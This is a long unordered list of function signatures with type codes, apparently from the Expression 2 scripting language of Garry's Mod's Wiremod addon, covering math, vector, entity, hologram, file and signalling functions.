+setColumn(xm2:nxv2) +op:mul(xm4n) +positive(v) +teamFrags(n) +npcGiveWeapon(e:s) +holoReset(nsvvs) +gDeleteEnt(n) +toLocal(e:v) +complex(xwl:s) +teamDeaths(n) +op:trg() +findInCone(vvnn) +changed(a) +op:add(qq) +convertUnit(ssn) +setColor(e:xv4) +dsGetVector() +qj() +removeArray(xgt:s) +ln(n) +distance2(xv2:xv2) +findToArray() +trim(s:) +swapElements(m:nnnn) +vehicle(e:) +op:add(cn) +lastSaidWhen() +team(e:) +vec2(xv4) +normalized(xv4:) +rangerHitEntities(n) +op:idx(xm4=rn) +sinh(c) +pi() +acos(n) +sech(n) +rotateAroundAxis(a:vn) +max(vv) +op:idx(xm2=xgts) +op:ass(xm2) +index(s:n) +unshiftComplex(r:c) +op:idx(a=rna) +clone(r:) +cosh(n) +isAlive(e:) +inputClk() +ceil(n) +sec(c) +fileClk() +height(e:) +toString(xv2) +soundPitch(nn) +soundStop(n) +npcShoot(e:) +pos(xm4:) +op:neg(xv4) +passenger(e:) +identity4() +insertBone(r:nb) +op:not(n) +op:div(na) +angles(e:) +setColumn(m:nv) +readCell(xwl:n) +op:idx(q=xgtnq) +removeWirelink(xgt:s) +op:var() +isAdmin(e:) +dsSendDirect(srxrd) +insertVector(r:nv) +op:sub(vv) +findClipToBox(vv) +op:idx(v=xgts) +left(s:n) +clamp(xv4nn) +dsSendDirect(srm) +findExcludePlayer(s) +op:idx(xm4=rnxm4) +op:add(aa) +matrix2(xv2xv2) +shiftMatrix2(r:) +maxVec(xv2xv2) +op:mul(cc) +xyz(xwl:) +op:sub(qn) +mod(an) +index(b:) +unshiftVector(r:v) +holoScale(n) +inputType(xwl:s) +friends(e:) +y(v:) +x(v:) +dsSendDirect(srt) +z(v:) +setBone(xwl:sb) +gShare(n) +op:mul(cn) +dsGetAngle() +trace(xm4) +holoShadow(nn) +clip1(e:) +setRanger(t:sxrd) +gravity() +hasInput(xwl:s) +setColumn(xm4:nnnnn) +inrange(vvv) +attachmentAng(e:n) +soundStop(sn) +rangerOffsetHull(nvvv) +op:ass(b) +op:mul(nv) +identity2() +toByte(s) +findExcludeClass(s) +hint(sn) +dsSendDirect(srxm2) +shiftVector(r:) +log2(n) +op:idx(b=ts) +setMatrix4(xwl:sxm4) +applyOffsetTorque(b:vv) +writeString(xwl:snnvv) +op:mul(nm) +setMass(n) +removeMatrix(xgt:s) +printColor(...) +op:neg(xv2) +model(e:) +sinh(n) +entity(xrd:) +hit(xrd:) +op:gth(aa) +writeCell(xwl:nn) +setElement(m:nnn) +bShr(nn) +holoClip(nvvn) +findClipFromModel(s) +toString(n:) +setPitch(a:n) +select(nn...) +format(s...) +gGetAng(s) +fileClk(s) +op:neg(xm2) +op:div(xv4xv4) +boxCenter(e:) +ceil(xv4n) +dsGetVector2() +systime() +op:idx(xm4=tsxm4) +removing() +op:exp(cc) +findResult(n) +findAllowPlayer(e) +removeVector2(r:n) +pushAngle(r:a) +inrange(xv2xv2xv2) +op:neq(xm2xm2) +element(xm4:nn) +qRotation(v) +findIncludePlayerProps(s) +op:neg(a) +vector4(t:s) +dsSendDirect(sen) +op:idx(r=xwls) +random(nn) +op:idx(v=xwlnv) +right(e:) +angnorm(n) +toString(b) +shiftL(a) +runOnSignal(snn) +heading(e:v) +max(nnnn) +gSetAng(na) +isConstrainedTo(e:) +op:idx(b=xwls) +radius(e:) +rotate(v:a) +inertia(e:) +op:or(nn) +dsSendDirect(srq) +dsSend(ssnxm4) +matrix4(a) +csc(n) +op:whl() +rangerFlags() +holoCreate(nvv) +dsClearGroups() +transpose(xm4) +findUpdateRate() +wirelink(xwl:s) +acos(c) +quat(nnnn) +invert(t) +normalized(xv2:) +minVec(xv2xv2) +holoClipEnabled(nn) +removeTrails(e:) +angle(r:n) +insertEntity(r:ne) +concat(r:s) +dsGetNumber() +isConstrainedTo(e:sn) +up(a:) +cbrt(n) +selfDestructAll() +isLan() +findIncludePlayer(e) +dsProbe(s) +weapon(e:) +setY(v:n) +length2(xv4:) +setVector4(t:sxv4) +qi(n) +gDeleteAng(n) +op:div(mn) +opcounter() +pushVector(r:v) +popVector2(r:) +op:idx(e=xgts) +upper(s:) +vec4(v) +rangerHull(nv) +setDiagonal(m:nnn) +shiftComplex(r:) +matrix2(t:s) +type(e:) +dsSend(ssv) +removeNumber(xgt:s) +setSkin(e:n) +teams() +element(xm2:nn) +sin(c) +shift(r:) +op:idx(xv2=xgtsxv2) +op:idx(t=xgtn) +op:idx(xm4=xgts) +pushComplex(r:c) +round(v) +dsSendDirect(sre) +setMatrix(r:nm) +setYaw(a:n) +setAngle(r:na) +reset() +setMatrix4(r:nxm4) +dsSend(ssn) +inrange(xv4xv4xv4) +findClipToSphere(vn) +dsClk() +op:mul(nxm2) +lastSaid() +min(nn) +hideChat(n) +randvec() +y(xv4:) +x(xv4:) +w(xv4:) +writeArray(xwl:nr) +distance(v:v) +printColor(r) +setVector4(r:nxv4) +round(xv4) +lastSaidTeam() +aimEntity(e:) +pop(r:) +applyOffsetForce(vv) +ang(v) +findClipFromSphere(vn) +op:idx(e=xgtse) +gGetVec(s) +playerDamage() +op:idx(v=xgtsv) +dsSend(sse) +keyAttack1(e:) +op:idx(xv2=xgts) +matrix4(av) +op:neg(n) +tanhr(n) +op:lth(nn) +op:idx(r=xgtn) +velL(b:) +vec4(xv2nn) +matrix4(xm2) +op:add(qn) +vec(a) +applyOffsetForce(e:vv) +dsSend(ssnxv4) +coshr(n) +rotationVector(q) +op:is(e) +gRemoveAllVector4s() +op:sub(cq) +toString(n) +op:add(vs) +op:idx(v=xgtnv) +op:idx(b=rnb) +op:add(nc) +op:add(sa) +op:idx(xv2=rn) +minquota() +npcRelationship(e:esn) +op:idx(e=xgtne) +removeVector(r:n) +tool(e:) +floor(xv4n) +changed(xrd) +pushMatrix(r:m) +op:idx(m=ts) +op:idx(xv2=xwlsxv2) +matrix2(nnnn) +op:add(nv) +soundStop(nn) +random() +length(v:) +isFrozen(e:) +lastSaidWhen(e:) +op:idx(n=xgtn) +holoAng(na) +op:for() +findClearBlackModelList() +op:neq(aa) +op:dlt(xv2) +op:is(s) +findByModel(s) +op:neq(xv4xv4) +op:idx(xwl=xgtsxwl) +floor(n) +row(m:n) +op:ass(s) +array() +removeRanger(xgt:s) +ang() +holoMaterial(ns) +op:exp(nq) +gTable(sn) +toString(v:) +op:idx(sn) +op:if(n) +findClearWhiteList() +op:is(m) +hostname() +entity(n) +replaceRE(s:ss) +dsSendDirect(srxwl) +teamName(n) +op:leq(nn) +popString(r:) +op:idx(xv4=xgtsxv4) +removeMatrix(r:n) +op:neq(nn) +findPlayerByName(s) +ammoCount(e:s) +hitNormal(xrd:) +clamp(ann) +soundStop(s) +matrix(xm2) +x(xv2:) +y(xv2:) +soundVolume(nn) +dsSend(ssnxm2) +fileListClk() +op:idx(e=rn) +setMass(e:n) +soundPitch(sn) +duped() +op:is(v) +findDisallowPlayerProps(s) +findDisallowPlayerProps(e) +signalClk(ssn) +abs(q) +gRemoveAllQuaternions() +applyForce(e:v) +health(e:) +insertMatrix(r:nm) +inrange(nnn) +matrix(e) +op:idx(v=xgtn) +trace(xm2) +gDeleteEnt(s) +fileListLoaded() +bone(t:s) +op:neq(cc) +op:idx(n=xwlsn) +isWeldedTo(e:n) +removeEntity(r:n) +removeVector4(xgt:s) +swapRows(xm2:) +csch(c) +dsSend(ssnb) +log2(c) +printDriver(e:ns) +map() +vec(xv2) +minIndex(r:) +attachmentPos(e:n) +fromUnit(sn) +angVelVector(e:) +gGetStr(n) +lookupAttachment(e:s) +diagonal(m) +transpose(xm2) +op:ass(a) +insertNumber(r:nn) +gSetStr(ss) +findClipFromClass(s) +gSetNum(sn) +setRow(xm2:nxv2) +concmd(s) +chatClk(e) +timer(sn) +round(vn) +length(xv4:) +removeNumber(r:n) +table(xwl:s) +parent(e:) +setTrails(e:nnnsvnnn) +findClearWhiteEntityList() +row(xm2:n) +op:exp(mn) +matrix(nnnnnnnnn) +swapColumns(xm4:nn) +ping(e:) +setElement(xm2:nnn) +op:mul(xv4xv4) +op:neq(cn) +gRemoveAllArrays() +setColor(e:nnnn) +shiftNumber(r:) +dsSend(ssnr) +op:idx(s=xgtn) +rangerHull(nnnvv) +floor(an) +shiftR(xv4) +clamp(xv2nn) +minVec(vv) +quaternion(t:s) +changed(xv2) +op:idx(s=rns) +isNPC(e:) +dsSendDirect(sexm4) +op:mul(nq) +npcRelationshipByOwner(e:esn) +op:idx(m=xgtsm) +removeVector2(xgt:s) +eyeAngles(e:) +op:add(ns) +dsSendDirect(see) +op:idx(t=xgtst) +getColor4(e:) +op:div(vn) +toAngle(v:) +findClearBlackList() +round(nn) +mod(vn) +vec(nnn) +op:idx(e=rne) +op:mul(xm4xv4) +matrix4(xm2xm2xm2xm2) +findDisallowModel(s) +inVehicle(e:) +sub(s:nn) +op:div(xv2xv2) +gtable(xwl:s) +removeMatrix4(r:n) +tanr(n) +sub(s:n) +rotationAxis(q) +unshiftAngle(r:a) +average(r:) +id(e:) +op:ass(m) +op:mul(aa) +findDisallowPlayer(s) +ops() +ranger(n) +sinhr(n) +isWorld(e:) +distance(xrd:) +toNumber(s:n) +changed(c) +dsSendDirect(srr) +vector(xwl:s) +op:idx(xwl=ts) +transpose(m) +cosr(n) +gSetVec(nv) +find(s:sn) +runOnChat(n) +angle(t:s) +findDisallowEntities(r) +gDeleteVec(n) +hasConstraints(e:s) +holoCreate(nv) +op:idx(a=xwls) +writeString(xwl:snnn) +slerp(qqn) +dsSend(ssnn) +op:idx(xv2=xwls) +imag(c) +isVehicle(e:) +gRemoveAllVectors() +fileListTable() +parentBone(e:) +op:div(xv2n) +mix(vvn) +op:div(xv4n) +setAngle(xwl:sa) +select(nxgt...) +massCenter(e:) +convarnum(s) +setWirelink(t:sxwl) +op:mul(cq) +dupefinished() +bone(xwl:s) +mod(xv4n) +op:idx(e=ts) +floor(xv4) +shiftAngle(r:) +row(xm4:n) +op:idx(c=xgtnc) +matrix(t:s) +popNumber(r:) +maxquota() +insertMatrix2(r:nxm2) +noentity() +rangerFilter(r) +rangerPersist(n) +op:leq(aa) +qj(n) +isConstrained(e:) +entity(b:) +pushNumber(r:n) +findRE(s:sn) +unshiftMatrix4(r:xm4) +dsGetString() +ceil(a) +time(s) +op:idx(s=xwlss) +noranger() +entity(r:n) +clamp(nnn) +sec(n) +replace(s:ss) +outputs(xwl:) +op:seq() +op:idx(xgt=xwls) +remove(r:n) +clear(r:) +min(nnn) +op:idx(n=xwls) +clamp(vvv) +soundVolume(sn) +op:idx(q=xwls) +isOnFire(e:) +teamPlayers(n) +unshiftString(r:s) +op:idx(b=rn) +right(s:n) +bOr(nn) +findRE(s:s) +setNumber(t:sn) +op:idx(v=ts) +op:idx(xm2=xwlsxm2) +op:neq(xm4xm4) +setEntity(t:se) +dsSendDirect(srs) +wirelink(t:s) +setMatrix(t:sm) +findIncludeModel(s) +matrix(xwl:s) +table() +selfDestruct() +shiftR(v) +isInWorld(v:) +applyForce(b:v) +op:is(n) +bShl(nn) +findClosest(v) +setComplex(xwl:sc) +ceil(vn) +setGtable(t:sxgt) +select(nv...) +rangerFlags(s) +op:idx(a=tsa) +removeMatrix4(xgt:s) +op:idx(xwl=xgtnxwl) +int(n) +angnorm(a) +op:is(xv4) +rangerHull(nvv) +toString(e:) +op:idx(t=xwls) +op:idx(t=xwlst) +isFrozen(b:) +op:mul(qv) +op:idx(m=xgts) +tanh(c) +atanr(n) +values(t:) +dsSend(ssnxrd) +op:is(xgt) +findInBox(vv) +toAngle(xv2:) +changed(xgt) +pushMatrix2(r:xm2) +soundPlay(sns) +op:mul(xv2n) +op:idx(xv4=xwls) +setColumn(m:nnnn) +diagonal(xm2) +setTable(xwl:st) +dsSend(sss) +shift(xv2) +matrix2(m) +maxVec(xv4xv4) +rangerOffsetHull(vvvv) +op:sub(nv) +changed(v) +dsSend(ssxv2) +holoScale(nv) +op:idx(xm2=xwls) +clamp(xv4xv4xv4) +dsSendDirect(sexm2) +op:idx(s=xgtss) +select(na...) +round(xv2n) +op:idx(xwl=tsxwl) +soundPlay(e:nnsn) +op:sub(nn) +mod(xv2n) +writeString(xwl:snn) +op:add(xm4xm4) +op:add(qc) +length(xv2:) +dot(xv4:xv4) +op:idx(xrd=xgtn) +log(nn) +setAlpha(e:n) +det(xm2) +holoClip(nnvvn) +setRow(xm4:nxv4) +dsSendDirect(sea) +vector2(r:n) +distance2(v:v) +op:idx(s=xwls) +op:idx(xv2=rnxv2) +op:idx(v=rnv) +setColumn(xm4:nxv4) +isConstrainedTo(e:s) +op:idx(xv4=rnxv4) +insertVector4(r:nxv4) +op:idx(xm4=xwls) +dsSend(ssr) +signalClk(s) +dsSend(ssne) +exp(n) +min(xv2xv2) +op:is(r) +op:div(nxv2) +glonDecode(s) +removeString(xgt:s) +op:is(xv2) +toUnit(sn) +setRow(xm2:nnn) +setTrails(e:nnnsvn) +signalSender() +holoDelete(n) +bNot(n) +lastSaid(e:) +sechr(n) +teamDeaths(n:) +runOnTick(n) +matrix4() +coth(c) +op:dat() +trace(m) +ejectPod(e:) +op:ass(c) +op:add(mm) +op:div(xm4n) +toString(v) +shiftR(a) +soundPlay(e:nns) +rangerAngleHull(nnnvv) +explode(s:s) +positive(xv4) +toWorld(b:v) +op:idx(xm2=xgtsxm2) +abs(c) +op:add(as) +count(t:) +dsSendDirect(sec) +dsSetScope(n) +op:and(nn) +npcFace(e:v) +op:neg(c) +removeTable(xgt:s) +op:idx(xm2=xgtn) +csch(n) +matrix(q) +dsSend(ssnt) +findClipToRegion(vv) +removeEntity(xgt:s) +isDedicated() +boxMin(e:) +setMatrix2(t:sxm2) +op:idx(b=xgtnb) +dsSend(ssns) +steamID(e:) +isWeapon(e:) +runOnLast(n) +dsSend(ssa) +vec4(xv2xv2) +findPlayerUpdateRate() +column(xm4:n) +op:idx(xv2=ts) +findDisallowEntity(e) +vec4(xv2) +teamColor(n) +setW(xv4:n) +mod(nn) +op:idx(r=xgts) +log(cc) +findClearBlackEntityList() +op:mul(xv2xv2) +op:mul(na) +dsSendDirect(srxm4) +popComplex(r:) +op:idx(m=xwlsm) +setArray(xwl:sr) +tickClk() +op:ass(xv4) +setEntity(xwl:se) +op:gth(nn) +dsGetGroup() +toRad(n) +pushEntity(r:e) +dsGetSender() +op:add(vv) +vector2(t:s) +rangerIgnoreWorld(n) +op:idx(xwl=xgtn) +op:dlt(xm2) +swapElements(xm4:nnnn) +vec(xv2n) +rangerFilter(e) +gamemode() +setRow(m:nv) +op:idx(b=xwlsb) +matrix4(xv4xv4xv4xv4) +mass(e:) +holoCreate(nvvav) +op:div(nn) +complex(t:s) +isPlayer(e:) +holoParent(ne) +setColumn(xm2:nnn) +setRow(m:nnnn) +findDisallowPlayer(e) +op:neq(xv2xv2) +randvec(nn) +getConstraints(e:) +dsGetTable() +dsGetScope() +dsGetGroups() +signalSendDirect(se) +rgb2hsv(v) +ceil(an) +op:idx(xm2=xgtnxm2) +setMatrix2(r:nxm2) +quaternion(xwl:s) +fileAppend(ss) +runOnList(n) +pushString(r:s) +mix(aan) +op:idx(c=xgtn) +teamName(n:) +getAlpha(e:) +dsSend(sst) +findDisallowClass(s) +changed(xm4) +op:neq(nc) +popMatrix(r:) +getSkin(e:) +op:eq(xv2xv2) +pos(b:) +toString(a) +length2(v:) +boxMax(e:) +op:idx(c=tsc) +bone(xrd:) +signalSend(sn) +maxOfType(s) +dsSendDirect(sexv2) +select(ne...) +op:neq(ee) +teamScore(n:) +writeString(xwl:snnvvn) +vec(xv4) +isSinglePlayer() +soundPlay(nns) +dsGetMatrix2() +gSetAng(sa) +round(n) +setX(xv2:n) +op:sub(xv2xv2) +op:idx(q=xgts) +op:idx(xv4=tsxv4) +array(xwl:s) +op:eq(xm4xm4) +up(e:) +toString(c) +ceil(xv2) +op:idx(xwl=xgts) +mix(xv2xv2n) +select(nr...) +setVector(xwl:sv) +min(xv4xv4) +op:dlt(a) +bXor(nn) +setRow(xm4:nnnnn) +cot(n) +op:add(sv) +op:dec(n) +matrix4(e) +width(e:) +findExcludePlayer(e) +rgb2digi(vn) +floor(xv2) +angVelVector(b:) +soundPlay(e:snsn) +op:eq(mm) +soundDuration(s) +op:idx(s=xwlns) +writeString(xwl:snnv) +holoPos(nv) +interval(n) +matchFirst(s:sn) +findIncludePlayerProps(e) +op:mul(mv) +insertVector2(r:nxv2) +comp() +applyForce(v) +round(a) +op:idx(q=tsq) +sqrt(c) +op:mul(xv4n) +readString(xwl:n) +op:eq(nn) +select(nq...) +npcGoRun(e:v) +dsSendDirect(seq) +hasConstraints(e:) +op:idx(a=xgtna) +gRemoveAllNumbers() +matrix2(xwl:s) +op:eq(vv) +curtime() +writeString(xwl:ns) +shiftString(r:) +teamPlayers(n:) +soundPlay(snsn) +op:sub(xv4xv4) +op:mul(mn) +toWorld(e:v) +dsSendDirect(sev) +sqrt(n) +pushMatrix4(r:xm4) +op:idx(xwln) +deaths(e:) +toNumber(s:) +string(r:n) +op:sub(xm4xm4) +op:sub(cn) +distance(xv4:xv4) +clk(s) +printDriver(e:s) +rangerHitWater(n) +op:idx(n=xgtsn) +signalSetGroup(s) +setMass(b:n) +z(xv4:) +log(c) +glonEncode(t) +isConstrainedTo(e:n) +findIncludeEntity(e) +log10(c) +signalGroup() +op:is(c) +dsSend(ssnxwl) +csc(c) +writeString(xwl:snnnvn) +op:geq(nn) +chatClk() +up(q:) +op:idx(xv4=xgtn) +unshiftVector2(r:xv2) +setX(v:n) +setMaterial(e:s) +findCanQuery() +max(xv4xv4) +op:idx(c=xwlsc) +floor(nn) +forward(e:) +convar(s) +trimLeft(s:) +op:mul(vn) +shiftEntity(r:) +acosr(n) +mass(b:) +toLocal(e:a) +gDeleteAllStr() +numPlayers() +npcAttack(e:) +op:ass(n) +toByte(sn) +keyUse(e:) +massCenterL(e:) +select(nt...) +findClearBlackPlayerPropList() +print(ns) +aimBone(e:) +changed(b) +inverseA(xm4) +op:idx(m=rnm) +lastSpoke() +log(nc) +matrix() +shiftL(xv4) +setEntity(r:ne) +findAllowClass(s) +op:add(ss) +op:idx(xrd=ts) +dsSendDirect(ser) +hintDriver(e:sn) +op:neq(xwlxwl) +match(s:s) +entity(xwl:) +pos(e:) +op:def(n) +toString(q) +sech(c) +match(s:sn) +op:idx(n=ts) +writeString(xwl:snnvnn) +swapColumns(xm2:) +op:exp(xm2n) +changed(xm2) +number(t:s) +op:neg(q) +findIncludePlayer(s) +op:sub(vn) +minVec(xv4xv4) +right(q:) +op:eq(cn) +asinr(n) +qMod(q) +op:idx(xwl=xwlsxwl) +mod(vv) +matrix4(t:s) +setGtable(xwl:sxgt) +length2(xv2:) +maxIndex(r:) +log10(n) +pushBone(r:b) +op:idx(s=tss) +changed(n) +op:neq(mm) +conj(q) +entity() +op:idx(xm2=ts) +op:neq(qq) +op:idx(a=xwlsa) +op:ass(xwl) +hasOutput(xwl:s) +op:cnd(n) +matchFirst(s:s) +signalClearOnRemove() +dsLeaveGroup(s) +toString(xv2:) +op:sub(aa) +op:idx(xv4n) +isPlayerHolding(e:) +keyAttack2(e:) +clamp(xv2xv2xv2) +getSkinCount(e:) +toString(a:) +op:ass(q) +soundPlay(e:sns) +trimRight(s:) +dsGetMatrix4() +ceil(v) +findExcludePlayerProps(e) +popEntity(r:) +matrix(vvv) +op:ass(r) +op:idx(n=tsn) +shiftMatrix4(r:) +qk(n) +pushVector4(r:xv4) +holoCanCreate() +setDiagonal(xm4:nnnn) +shootPos(e:) +tan(c) +fileList() +toString(xv4:) +e() +shiftL(v) +floor(xv2n) +gGetEnt(s) +i() +op:idx(s=xgts) +op:idx(vn) +lastSaidTeam(e:) +rotate(xv2:n) +setAngle(t:sa) +op:sub(xm2xm2) +quat(vv) +signalGetGroup() +arg(c) +signalClk() +timeConnected(e:) +setRanger(xwl:sxrd) +quat(n) +bNot(nn) +setColor(e:vn) +op:eq(ss) +removeComplex(xgt:s) +first() +signalName() +findIncludeEntities(r) +repeat(s:n) +op:idx(b=tsb) +findClipToClass(s) +unshiftMatrix2(r:xm2) +y(xm4:) +matrix4(r:n) +op:idx(xm2=rnxm2) +z(xm4:) +op:div(cn) +setString(xwl:ss) +vector4(r:n) +insertAngle(r:na) +signalSetOnRemove(sn) +gRemoveAllRangers() +clk() +op:eq(aa) +weapon(e:s) +atanr(nn) +real(c) +conj(c) +setNumber(r:nn) +op:div(nxv4) +op:idx(q=xgtn) +dsSend(ssnq) +setMatrix4(t:sxm4) +removeVector4(r:n) +findClipToModel(s) +setWirelink(xwl:sxwl) +dsSendDirect(sexv4) +i(n) +dot(v:v) +gGetStr(s) +mod(xv2xv2) +op:sub(nc) +op:idx(xm4=xgtsxm4) +comp(nn) +atan(nn) +bearing(e:v) +comp(n) +op:idx(m=rn) +heading(b:v) +printColorDriver(e:...) +findAllowModel(s) +toString(q:) +bones(e:) +op:idx(e=xwls) +floor(a) +op:idx(xv4=ts) +unshiftMatrix(r:m) +op:mul(qc) +swapRows(m:nn) +op:div(cc) +boneCount(e:) +steamFriends(e:) +setString(t:ss) +exp(c) +setX(xv4:n) +dsClk(s) +holoModel(nsn) +applyOffsetForce(b:vv) +inNoclip(e:) +op:cnt() +writeString(xwl:snnnn) +op:add(nn) +det(m) +gSetNum(nn) +changed(xwl) +findInSphere(vn) +op:brk() +getMaterial(e:) +rangerDefaultZero(n) +swapColumns(m:nn) +popAngle(r:) +ceil(xv2n) +toWorld(e:a) +op:mul(nxm4) +vel(b:) +array(...) +op:sub(cc) +max(r:) +fileLoadList() +floor(vn) +op:idx(xv4=rn) +angVel(b:) +cschr(n) +quat(v) +op:iwc() +printColorDriver(e:r) +op:mul(xm4xm4) +clamp(aaa) +npcDisp(e:e) +velL(e:) +gRemoveAllWirelinks() +secondaryAmmoType(e:) +forward(b:) +runOnFile(n) +toAngle(q:) +bearing(b:v) +dsSendDirect(sem) +asin(n) +op:mul(nxv2) +element(m:nn) +gRemoveAllBones() +outputType(xwl:s) +fileWrite(ss) +op:idx(v=xwlsv) +op:geq(aa) +matrix4(xwl:s) +ceil(nn) +holoParent(nb) +rotationAngle(q) +op:mul(an) +op:add(vn) +massCenterL(b:) +up(b:) +holoModel(ns) +op:idx(xm4=xwlsxm4) +op:exp(xm4n) +vector4(xwl:s) +findClearWhiteModelList() +wrap(nn) +holoAlpha(nn) +signalClk(sn) +findClipToName(s) +select(nxv2...) +dot(xv2:xv2) +op:idx(xv2=xgtnxv2) +op:mul(nc) +clamp(vnn) +gDeleteVec(s) +op:dlt(xm4) +name(e:) +holoClipEnabled(nnn) +max(nn) +yaw(a:) +primaryAmmoType(e:) +randint(nn) +holoClipsAvailable() +gRemoveAll() +column(m:n) +toLocalAxis(e:v) +op:is(xwl) +stoptimer(s) +holoScaleUnits(n) +setNumber(xwl:sn) +lockPod(e:n) +quat(e) +op:idx(xv2=tsxv2) +gtable(t:s) +string(t:s) +isCrouch(e:) +isUnderWater(e:) +changed() +shiftMatrix(r:) +op:ass(v) +op:lth(aa) +distance(xv2:xv2) +holoScaleUnits(nv) +applyAngForce(b:a) +setElement(xm4:nnn) +holoRemainingSpawns() +vec() +nobone() +op:div(nv) +isWeldedTo(e:) +op:ass(t) +toString(n:n) +op:idx(a=xgtn) +driver(e:) +op:mul(nxv4) +isHiSpeed(xwl:) +abs(n) +op:idx(xwl=xwls) +setBone(r:nb) +ceil(xv4) +holoCreate(nvvavs) +k(q:) +op:idx(m=xgtn) +realtime() +op:sub(nq) +removeBone(r:n) +toString(nn) +dsGetMatrix() +keys(t:) +root(nn) +findExcludeEntity(e) +setString(r:ns) +matrix4(nnnnnnnnnnnnnnnn) +j(q:) +op:idx(xm2=tsxm2) +lower(s:) +op:add(sn) +gDeleteNum(s) +maxVec(vv) +diagonal(xm4) +max(xv2xv2) +vec2(v) +unshiftBone(r:b) +op:dlt(xv4) +shiftBone(r:) +op:is(t) +invert(r) +clear(t:) +vec4(vn) +popMatrix2(r:) +glonEncode(r) +tanh(n) +changed(xv4) +normalized(v:) +signalClk(ss) +ranger(t:s) +dsSend(ssnv) +op:div(qn) +i(q:) +atan(n) +glonDecodeTable(s) +gDeleteAllAng() +op:idx(r=xgtsr) +cothr(n) +op:idx(a=ts) +round(xv2) +holoDeleteAll() +isOnGround(e:) +applyTorque(b:v) +mix(xv4xv4n) +op:neq(ss) +op:idx(e=xgtn) +teamFrags(n:) +dsSendDirect(ses) +findAllowEntity(e) +findExcludePlayerProps(s) +sinr(n) +inv(q) +op:idx(s=ts) +inertia(b:) +cross(v:v) +cosh(c) +rotate(v:nnn) +gSetGroup(s) +gGetVec(n) +holoColor(nvn) +op:idx(t=xgtnt) +gSetEnt(ne) +op:mul(xm2n) +op:div(nc) +op:idx(c=xgtsc) +dsSend(ssxv4) +gRemoveAllStrings() +op:idx(xrd=xwlsxrd) +randvec(vv) +holoParentAttachment(nes) +op:dlt(v) +holoEntity(n) +rgb2digi(nnnn) +toString(c:) +op:idx(c=xwls) +fileLoaded(s) +removeAngle(xgt:s) +gTable(s) +shiftVector4(r:) +op:idx(xv2n) +gSetEnt(se) +op:sub(qc) +vec2(nn) +dsSend(ssb) +log(q) +dsSend(ssm) +dehomogenized(xv4:) +op:eq(cc) +op:add(cc) +number(r:n) +op:idx(s=rn) +bone(r:n) +gSetStr(ns) +op:idx(t=xgts) +findAllowPlayerProps(e) +op:neg(m) +rangerOffset(vv) +setComplex(t:sc) +removeMatrix2(xgt:s) +findSortByDistance(v) +unshiftNumber(r:n) +select(ns...) +ranger(xwl:s) +frags(e:) +reverse(s:) +setXyz(xwl:v) +setQuaternion(t:sq) +signalSendToPlayer(se) +cos(c) +setBone(t:sb) +cot(c) +rangerReset() +op:mul(xm2xv2) +op:idx(a=xgts) +min(nnnn) +bAnd(nn) +op:mul(qn) +op:idx(a=xgtsa) +entity(xwl:s) +op:idx(n=xgts) +quat(c) +op:mul(mm) +op:idx(n=rnn) +npcRelationship(e:ssn) +op:is(xm4) +qi() +op:idx(m=xwls) +popVector(r:) +op:idx(m=xgtnm) +x(xm4:) +op:idx(xm4=xgtnxm4) +op:idx(b=xgtn) +op:add(nq) +setY(xv4:n) +findClearWhiteClassList() +attachmentPos(e:s) +op:mul(vq) +quat(a) +exit() +length(s:) +angVel(e:) +npcGiveWeapon(e:) +gDeleteStr(n) +op:div(cq) +dsGetComplex() +gGetGroup() +min(r:) +roll(a:) +op:idx(xrd=xgtnxrd) +right(b:) +holoCreate(n) +findByClass(s) +exp(q) +gGetEnt(n) +op:idx(an) +inrange(aaa) +frac(n) +popVector4(r:) +holoSkin(nn) +dsSendDirect(srn) +gRemoveAllEntitys() +max(nnn) +qk() +op:idx(m=tsm) +print(...) +dsSendDirect(srxv4) +vector(t:s) +concat(r:) +random(n) +op:mul(vv) +op:div(qq) +setColor(nnn) +op:neg(xm4) +dsGetWirelink() +position(xrd:) +applyAngForce(a) +aimNormal(e:) +owner() +op:idx(r=xgtnr) +fileLoad(s) +op:neq(bb) +dsSendDirect(sexrd) +gGetNum(n) +rangerOffset(nvv) +teamScore(n) +fileRead(s) +writeString(xwl:snnvn) +op:eq(xwlxwl) +op:div(qc) +op:eq(nc) +setColor(e:v) +op:idx(xm4=xgtn) +gRemoveAllTables() +op:idx(xrd=tsxrd) +unshiftEntity(r:e) +toLocal(b:v) +op:sub(qq) +randint(n) +round(xv4n) +dsProbe(sn) +changed(e) +gDeleteAllVec() +applyOffsetTorque(e:vv) +op:idx(e=xwlse) +op:sub(mm) +op:add(xm2xm2) +signalSenderId() +op:idx(xwlnn) +op:idx(a=rn) +perf() +setMatrix2(xwl:sxm2) +inputs(xwl:) +dsSend(ssnm) +insertMatrix4(r:nxm4) +findExcludeModel(s) +setMatrix(xwl:sm) +op:mod(nn) +last() +vec4() +op:idx(xv4=xgts) +op:eq(ee) +aimPos(e:) +printTable(t) +op:idx(c=xgts) +dsSend(ssna) +op:eq(xm2xm2) +sum(r:) +vec(q) +op:idx(n=xgtnn) +dsGetVector4() +dsGetType() +op:eq(bb) +dsGetRanger() +removeMatrix2(r:n) +pitch(a:) +setVector2(xwl:sxv2) +setZ(xv4:n) +insertString(r:ns) +select(nm...) +quat() +soundPlay(nnsn) +gDeleteStr(s) +op:idx(xv4=xwlsxv4) +eye(e:) +count(r:) +forward(q:) +identity() +op:idx(c=ts) +op:neq(vv) +matrix2(r:n) +findAllowPlayer(s) +dsSendDirect(sra) +findAllowEntities(r) +op:mul(qq) +select(nc...) +changed(m) +op:idx(b=xgtsb) +op:idx(s=xwln) +rangerOffsetHull(vvv) +op:idx(v=xwls) +removeQuaternion(xgt:s) +holoUnparent(n) +op:div(an) +getColor(e:) +gDeleteNum(n) +eyeTrace(e:) +toDeg(n) +removeBone(xgt:s) +right(a:) +op:idx(v=rn) +mod(aa) +holoCreate(nvva) +select(nxm4...) +shiftVector2(r:) +gDeleteAng(s) +angles(b:) +gGetNum(s) +op:eq(xv4xv4) +coth(n) +dsSend(ssxm2) +op:dlt(n) +massCenter(b:) +armor(e:) +maxPlayers() +setDiagonal(xm4:xv4) +changed(s) +x(m:) +y(m:) +z(m:) +gGetAng(n) +holoParent(nn) +printTable(r) +rangerHull(nnnv) +dsSend(ssnxv2) +fileRemove(s) +select(nb...) +atan(c) +dsSend(ssc) +setRoll(a:n) +op:div(nq) +sin(n) +removeVector(xgt:s) +gRemoveAllMatrix4s() +unshiftVector4(r:xv4) +op:idx(xrd=xgts) +bone(e:n) +gDeleteAllNum() +op:idx(xv2=xgtn) +op:ass(xrd) +setY(xv2:n) +op:idx(e=tse) +setVector2(t:sxv2) +gSetVec(sv) +vel(e:) +dsSend(ssxrd) 